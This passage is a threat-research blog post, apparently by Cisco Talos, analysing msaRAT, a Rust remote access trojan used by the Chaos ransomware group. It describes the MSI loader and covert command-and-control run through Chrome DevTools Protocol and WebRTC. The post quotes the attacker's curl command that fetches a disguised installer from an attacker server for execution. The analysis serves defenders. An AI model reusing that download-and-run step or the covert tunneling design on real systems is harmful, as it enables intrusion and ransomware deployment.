Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”. msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications. This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser. msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay. Overview of Chaos ransomware Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog. Figure 1. Chaos ransomware leak site. Infection chain Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT. Figure 2. Infection chain. After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected. curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update. Figure 3. Properties of “update_ms.msi” When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize . This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3 , directly into memory. Figure 4. Structure of the MSI file. lib.dll (msaRAT) msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN , which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note. Tokio runtime initialization Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async / await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is res…

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